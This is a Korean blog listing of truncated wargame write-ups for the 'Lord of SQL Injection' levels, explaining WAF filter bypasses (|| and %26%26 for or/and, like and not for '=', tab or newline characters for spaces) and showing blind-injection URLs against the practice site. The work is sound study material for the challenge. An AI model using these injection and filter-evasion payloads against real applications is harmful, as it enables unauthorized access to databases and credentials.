WebHacking/Lord of SQL injection(17)
-
Lord Of SQL Injection [ 13. BugBear ]
[ 개념 ] 1> mysql에서의 hex() 함수hex('a') => a는 아스키코드16진수값으로 0x61값이지만, mysql에서는 0x가 없는 61로 반환된다hex('a')=61 2> and , orand => && => %26%26or => || 3> ' ' 를 대신 " " 사용하여 문자 표현4> ' = ' 를 대신하여 not 사용5> 스페이스바를 대신하여 0x09 or 0x0a ... 사용할 수 있다 [ 비밀번호 추측하기 ] 1> 비밀번호 길이 알아내기 no=9999%0a||%0anot%0aid"admin"%0a%26%26%0anot%0alength(pw)8 => SELECT id FROM prob_bugbear WHERE id="admin" and length(pw)=8 2> 비밀번호 각 자리수 ..
2017.09.13 -
Lord Of SQL Injection [ 12. DarkNight ]
[ 풀이 요령 ] 1> ord 함수no를 입력받는 부분에 싱글쿼터가 없어서 따로 싱글쿼터를 사용할 필요가 없으며 문자가 아닌 숫자형태로 비교하면 된다 ord(): 문자열의 1byte를 10진수의 아스키코드값으로 변환시킨다ord('abcd') => a의 아스키코드값 97 2> ' = ' 대체하기' = ' 이 막혀있어서 not 과 을 이용하여 ' = ' 을 대체한다 3> 스페이스바 대체하기아스키코드표에 있는 0x09 ( Tab ) 이나 0x0a ( New line ) ... 등등 대체할 수 있는 여러가지 값들이 있음 [ 비밀번호 추측 과정 ]1> 비밀번호 길이 확인 2> 각 패스워드 자리수 별 확인 left( 문자열 , 개수 ): 문자열의 좌측에서부터 개수만큼 문자 반환right( 문자열 , 개수 ): 문자..
2017.09.13 -
Lord Of SQL Injection [ 11. Golem ]
preg_match함수로 인해 or , and , substr( , = 필터링이 걸려있다이들 함수를 대체할 수 있는 것들을 찾아보자or => ||and => %26%26 ( && )substr => substring or mid함수 or left+right= => like , , 으로 대체 [ 패스워드 추측하기 ] 1> 패스워드 길이 확인하기 URL: https://los.eagle-jump.org/golem_39f3348098ccda1e71a4650f40caa037.php?pw=9999' || id like 'admin' %26%26 not length(pw) 8 %23 => SELECT id FROM prob_golem WHERE id='guest' and pw='9999' || id li..
2017.09.13 -
Lord Of SQL Injection [ 10.Skeleton ]
and 1=0 : 항상 거짓이기 때문에 SQL쿼리문을 실행시킬 수 없다URL: https://los.eagle-jump.org/skeleton_8d9cbfe1efbd44cfbbdc63fa605e5f1b.php?pw=9999' or id='admin' %23 => SELECT id FROM prob_skeleton WHERE id='guest' and pw='9999' or id='admin' #' and 1=0
2017.09.12 -
Lord Of SQL Injection [ 7.Orge ]
preg_match 함수에서 or , and 사용을 금지하고 있고, 비밀번호를 GET방식으로 입력받고, add|ashes함수를 이용해 변환한 뒤 DB에 저장된 패스워드와 비교한다 5번 오크문제와 같은 패스워드를 유추하는 블라인드 인젝션 문제입니다 [ 패스워드 유추 과정 ] 1> 패스워드 길이를 알아낸다 URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%26 length(pw)=8 %23 2>패스워드의 첫번째 글자부터 유추한다 URL: los.eagle-jump.org/orge_40d2b61f694f72448be9c97d1cea2480.php?pw=9999' || id='admin' %26%..
2017.09.12 -
Lord Of SQL Injection [ 6.DarkElf ]
preg_match함수에서 or , and 사용을 막아두고있다 or와 and를 대체할 수 있는 문자를 찾아야한다 or => " || " and => " && " , &&는 URL에서 변수구분자로 사용하고 있으므로 아스키코드 26을 사용하도록 한다 => %26 URL: https://los.eagle-jump.org/darkelf_6e50323a0bfccc2f3daf4df731651f75.php?pw=9999' || id='admin' %23 => SELECT id FROM prob_darkelf WHERE ( id='guest' and pw='9999' ) || id='admin' #'
2017.09.08